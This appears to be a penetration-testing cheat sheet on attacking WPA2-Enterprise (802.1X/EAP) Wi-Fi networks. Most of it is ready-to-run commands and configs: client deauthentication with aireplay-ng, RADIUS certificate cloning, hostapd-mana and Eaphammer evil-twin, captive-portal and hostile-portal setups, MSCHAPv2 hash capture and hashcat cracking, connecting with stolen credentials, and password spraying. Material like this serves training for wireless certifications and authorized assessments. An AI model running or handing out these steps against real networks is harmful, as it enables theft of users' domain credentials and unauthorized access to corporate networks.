WPA2-Enterprise (802.1X) Attacks

Attacking WPA/WPA2-Enterprise (802.1X / EAP)

WPA/WPA2-Enterprise networks authenticate users against a RADIUS server over 802.1X/EAP. This section covers extracting the RADIUS certificate, standing up a rogue authentication endpoint using either the manual hostapd-mana / FreeRADIUS workflow or the automated Eaphammer workflow, capturing and cracking credentials, and password spraying.

Overview

WPA2-Enterprise (802.1X/EAP) networks can be attacked by impersonating the legitimate access point and RADIUS server so that clients attempt to authenticate against an attacker-controlled endpoint, revealing usernames and MSCHAPv2 challenge/response material that can be cracked offline. Two workflows are shown below: a manual hostapd-mana / FreeRADIUS setup, and an automated Eaphammer setup. Deauthenticating live clients (see WPA/WPA2-PSK) forces them to reconnect to the rogue AP.

RADIUS Certificate Extraction

Capturing the RADIUS server certificate lets you clone its identity for a more convincing rogue AP.

1
# Put the card in monitor mode and capture around the target
2
sudo airmon-ng start wlan0
3
sudo airodump-ng wlan0mon --band abg
4
sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF --channel <channel> -w mgt --output-format pcap
5

6
# Force a reconnection to capture the EAP exchange
7
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
8
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Extract the certificate and identity from the capture in Wireshark:

Open the PCAP in Wireshark and apply the tls filter to find the RADIUS certificate.
Look for a packet with the info “Server Hello, Certificate, Server Key Exchange, Server Hello Done”.
In the frame detail pane, expand “Transport Layer Security” -> “TLSv1.2 Record Layer: Handshake Protocol: Certificate” -> “Handshake Protocol: Handshake” -> “Certificates” -> “1st Certificate”, right-click and choose “Export Bytes”, and save it as cert.der.
Get the identity via Edit -> Find Packet, searching for the string “Response, Identity”. Expand the “Extensible Authentication Protocol” field and read the “Identity” field.

1
# Print the RADIUS TLS certificate as text
2
openssl x509 -inform der -in cert.der -text
3

4
# Extract certificate handshakes from a capture (alternative)
5
tshark -nr capture.pcap -2 -R "ssl.handshake.certificate" -V

Manual Rogue AP (hostapd-mana / FreeRADIUS)

This is the manual OSWP-style workflow. It uses FreeRADIUS certificates and a hostapd-mana access point.

Prepare FreeRADIUS Certificates

1
# Edit the certificate configs using the values from the certificate above
2
sudo nano /etc/freeradius/3.0/certs/server.cnf
3
sudo nano /etc/freeradius/3.0/certs/ca.cnf
4

5
# Remove the default Diffie-Hellman certificate and regenerate
6
sudo rm -rf /etc/freeradius/3.0/certs/dh
7
sudo su - && cd /etc/freeradius/3.0/certs && make destroycerts
8
sudo su - && cd /etc/freeradius/3.0/certs && make

hostapd-mana Configuration

1
# Point hostapd-mana at the SSID and certificate paths
2
sudo nano /etc/hostapd-mana/mana.conf

1
# SSID of the AP
2
ssid=Corp-EAP
3

4
# Network interface and driver. Ensure the interface lists 'AP' in
5
# 'Supported interface modes' when running 'iw phy PHYX info'
6
interface=wlan0
7
driver=nl80211
8

9
# Channel and mode (confirm the channel is allowed with 'iw phy PHYX info')
10
channel=10
11
hw_mode=g
12

13
# Set hostapd up as an EAP server
14
ieee8021x=1
15
eap_server=1
16

17
# Key workaround for Win XP
18
eapol_key_index_workaround=0
19

20
# EAP user file
21
eap_user_file=/etc/hostapd-mana/mana.eap_user
22

23
# Certificate paths created earlier
24
ca_cert=/etc/freeradius/3.0/certs/ca.pem
25
server_cert=/etc/freeradius/3.0/certs/server.pem
26
private_key=/etc/freeradius/3.0/certs/server.key
27
private_key_passwd=whatever
28
dh_file=/etc/freeradius/3.0/certs/dh
29

30
# Open authentication, WPA/WPA2, WPA Enterprise
31
auth_algs=1
32
wpa=3
33
wpa_key_mgmt=WPA-EAP
34
wpa_pairwise=CCMP TKIP
35

36
# Enable Mana WPE and store captured credentials
37
mana_wpe=1
38
mana_credout=/tmp/hostapd.credout
39
mana_eapsuccess=1
40
mana_eaptls=1

1
# Create the EAP user file
2
sudo nano /etc/hostapd-mana/mana.eap_user
3

4
*     PEAP,TTLS,TLS,FAST
5
"t"   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    "pass"   [2]
6

7
# Stop monitor mode and launch the rogue AP
8
sudo airmon-ng stop wlan0mon
9
sudo hostapd-mana /etc/hostapd-mana/mana.conf      # you should see connections

Capture and Crack Credentials

1
# View captured credentials and copy the hashes to a file
2
cat /tmp/hostapd.credout
3
# copy the hashes to e.g. wifi_hashes.txt
4

5
# Crack MSCHAPv2 credentials with Hashcat (mode 5500)
6
hashcat -a 0 -m 5500 wifi_hashes.txt <wordlist>

Connect to the Network

1
# Create a configuration file for the recovered credentials
2
nano wireless_mgt.conf
3

4
network={
5
 ssid="Corp-EAP"
6
 scan_ssid=1
7
 key_mgmt=WPA-EAP
8
 eap=PEAP
9
 identity="<username>"
10
 password="<password>"
11
 phase1="peaplabel=0"
12
 phase2="auth=MSCHAPV2"
13
}
14

15
# Connect using the config file
16
sudo wpa_supplicant -i wlan0 -c wireless_mgt.conf
17
sudo wpa_supplicant -D nl80211 -i wlan0 -c wireless_mgt.conf
18

19
# Obtain an IP address
20
sudo dhclient wlan0 -v

Automated Rogue AP (Eaphammer)

Eaphammer automates the rogue-AP and credential-capture process for EAP networks.

Certificate Setup

1
cd ~/tools/eaphammer
2
sudo ./eaphammer --cert-wizard

Stealing RADIUS Credentials

1
# Evil twin against an EAP network, capturing credentials with --creds
2
sudo ./eaphammer --bssid AA:BB:CC:DD:EE:FF \
3
 --essid Corp-EAP \
4
 --channel 1 \
5
 --wpa-version 2 \
6
 --interface wlan0 \
7
 --auth wpa-eap \
8
 --creds
9

10
sudo ./eaphammer --bssid AA:BB:CC:DD:EE:FF --essid Corp-EAP --wpa-version 2 --channel 1 --interface wlan0 --capture-wpa-handshakes yes --auth wpa-eap --creds

Captive Portal Attack

1
# Captive portal to also collect AD credentials
2
sudo ./eaphammer --bssid AA:BB:CC:DD:EE:FF --interface wlan0 --essid Corp-EAP --wpa-version 2 --channel 1 --auth wpa-eap --captive-portal

Hostile Portal Attack

1
sudo ./eaphammer --interface wlan0 --bssid AA:BB:CC:DD:EE:FF --essid Corp-EAP --channel 1 --auth wpa-eap --wpa-version 2 --hostile-portal
2

3
sudo ./eaphammer -i wlan0 \
4
  --essid Corp-EAP \
5
  --channel 6 \
6
  --wpa-version 2 \
7
  --auth wpa-eap \
8
  --hostile-portal \
9
  --autocrack

Evil Twin with MANA and Cloaking

1
# Leave out --auth to keep clients connecting (best for open networks)
2
echo Corp-EAP > target-ess.txt              # target names
3
echo AA:BB:CC:DD:EE:FF > mac-whitelist.txt  # MAC addresses of targets
4

5
sudo ./eaphammer --interface wlan0 \
6
 --essid Corp-EAP \
7
 --channel 1 \
8
 --bssid AA:BB:CC:DD:EE:FF \
9
 --pmf enable \
10
 --cloaking full \
11
 --mana \
12
 --wpa-version 2 \
13
 --auth wpa-eap \
14
 --creds \
15
 --mac-whitelist mac-whitelist.txt \
16
 --ssid-whitelist target-ess.txt

Known Beacon Attack

1
sudo ./eaphammer -i wlan0 --mana --loud --known-beacons --known-ssids-file wordlist.txt
2
sudo ./eaphammer -i wlan0 --bssid AA:BB:CC:DD:EE:FF --essid Corp-EAP --mana --loud --known-beacons --auth wpa-eap --known-ssids-file wordlist.txt --captive-portal --creds

Deauthenticate Live Clients

1
for i in `cat mac-whitelist.txt`; do aireplay-ng -0 5 -a de:ad:be:ef:13:37 -c $i; done

Password Spraying

If usernames are known (or guessed), spray a single password against the EAP network. These tools support PEAP/MSCHAPv2.

1
python2 ~/tools/air-hammer/air-hammer.py -i wlan0 -e Corp-EAP -P password -u ~/tools/SecLists/Usernames/Customised/CommonUsernames.txt
2
sudo python2 ~/tools/Auto_EAP/Auto_EAP.py -i wlan0 -s Corp-EAP -U ~/tools/air-hammer/users.txt -p password -K WPA2-EAP -E PEAP
3
sudo python2 ~/tools/Auto_EAP/Auto_EAP.py -i wlan0 -s Corp-EAP -U ~/tools/air-hammer/users.txt -p password -K WPA-EAP -E TTLS

Additional and Legacy Enterprise Tooling

The Python 2-era tools below (crEAP, EAPeak) predate the primary Eaphammer / hostapd-mana workflows above and are retained as older/alternative options.

1
# crEAP - capture EAP identities and credentials
2
sudo python2 ~/tools/creap/crEAP.py
3

4
# EAPeak - audit EAP exchanges
5
cd ~/tools/eapeak
6
sudo pipenv shell
7
python2 eapeak -i wlan0 -s Corp-EAP -l

Advanced EAP Notes

1
# Stealing AD credentials via a hostile portal (EAP networks require creds to associate)
2
sudo ./eaphammer --interface wlan0 \
3
    --bssid AA:BB:CC:DD:EE:FF \
4
    --essid Corp-EAP \
5
    --channel 6 \
6
    --auth wpa-eap \
7
    --hostile-portal
8

9
# Captive portal attack (needs RADIUS creds to attack mutual-auth inner protocols such as MSCHAPv2)
10
./eaphammer --bssid AA:BB:CC:DD:EE:FF \
11
    --essid Corp-EAP \
12
    --channel 149 \
13
    --interface wlan0 \
14
    --captive-portal